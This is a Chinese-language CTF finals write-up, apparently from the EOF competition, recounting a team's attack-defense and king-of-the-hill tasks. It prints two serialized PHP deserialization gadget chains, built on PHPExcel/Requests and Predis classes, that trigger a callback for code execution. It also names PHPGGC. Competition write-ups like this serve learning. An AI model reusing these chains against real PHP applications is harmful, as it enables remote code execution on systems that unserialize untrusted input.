Author : 堇姬Naup
Team : 不屬於Kirito的星爆氣流斬
Rank : 4 (差一點第三,可惜)
Teammates : Curious、Itiscaleb、Aukro、ShallowFeather、Chumy、TWNWAKing、Vincent(感恩隊友們一起努力了兩天orz)
Final scoreboard
賽制
這次總共有163 round,每round是五分鐘,用積分去以百分比的方式去算分,這次總共有三種不同的類型。
Attack & Defense
- hahamut
- casino
KoH
- rush-p0pp3r
1 | TL;DR: 找到網路上隨便一個 composer package 裡的反序列化 RCE gadget,越好用+越短越好。 |
「自己懶得出題目,叫 GitHub 上的開發者幫我出」by splitline
- ICPC
Pwn2own
- Pwn2own
Day1
本次比賽我主要負責的是p0pp3r,順便有看了一下pwn2own跟hahamut,首先先說p0pp3r,看到這題目直覺先搞PHPGGC
https://github.com/ambionics/phpggc
應該可以找出兩條chain,一條是Monolog、一條是Larvel/Framework,不過手速太慢,開始解時已經被搶走了,之後就開始在找其他chain,首先可以用這個找網路上有的package
https://packagist.org/explore/
原本有找到WordPress/PHPExcel,不過judge吃不到這個package
1 | O:17:"PHPExcel_RichText":1:{s:36:"PHPExcel_RichText_richTextElements";O:33:"Requests_Utility_FilteredIterator":4:{i:0;i:0;i:1;a:1:{i:0;s:18:"./@ --give-me-flag";}i:2;a:1:{s:11:"*callback";s:10:"p0pp3r_win";}i:3;N;}} |
另外有找到timber/timber,但是最後送出去時因為版本問題judge沒辦法install下來QQ
https://github.com/timber/timber
偷偷爆個雷,結果在場有解的好像都用以前的gadget,好像沒人自己找www
那時候有看了一下pwn2own,有看到這個command injection,不過隊友那時候已經在解了,所以就交給隊友處理這題了,我們也順利的firstblood。
hahamut那題主要是Itiscaleb在打的,不過也趁這次第一次接觸A&D學會了怎麼上patch。
生成patch
1 | bsdiff [old_file] [new_file] [patch_file] |
上patch
1 | bspatch [old_file] [patch_file] [patched_file] |
Day2
第二天我就開始主攻p0pp3r,其他的就交給隊友
在過了四五個小時,整個king都沒人動過,整個狀況直到我找到了可以壓下一些byte的方法,搶下了king,超歡樂。(雖然有人撿漏把我的payload壓下了一個byte,一個回合就被搶走了,不過還是很讚)
1 | b'O:34:"Predis\\Connection\\StreamConnection":1:{s:10:"parameters";O:28:"Predis\\Configuration\\Options":3:{s:7:"options";a:0:{}s:5:"input";a:1:{s:10:"persistent";a:2:{i:0;O:35:"Predis\\Cluster\\Distributor\\HashRing":2:{s:16:"nodeHashCallback";s:10:"p0pp3r_win";s:5:"nodes";a:1:{i:0;a:2:{s:6:"weight";i:1;s:6:"object";s:18:"./@ --give-me-flag";}}}i:1;s:7:"getSlot";}}s:8:"handlers";a:1:{s:10:"persistent";s:36:"Predis\\Configuration\\Option\\Commands";}}' |
最後差900分左右就可以殺進第三,不過我們有拿到麵包超人獎(潛力獎)。
後記
- 目前高二第一次打EOF,也是第一次進到決賽打這類題型,適應和熟悉花了快一天的時間,下次再來應該可以打得更好
- 我原本以為pwn2own,是pwn,結果是web的爛洞大集合,早知道去看pwn2own,坐牢p0pp3r真的很哭。
- 另外我第一次打原本以為上patch很難,結果只是幾行指令,所以就沒投太多心力去hahamut,不然應該也可以去找一些洞,來打別人的service。下次來打的時候,如果賽制沒改太多,應該會想去嘗試hahamut。
- 最後再感謝一次我的隊友Curious、Itiscaleb、Aukro、ShallowFeather、Chumy、TWNWAKing、Vincent,一起努力了兩天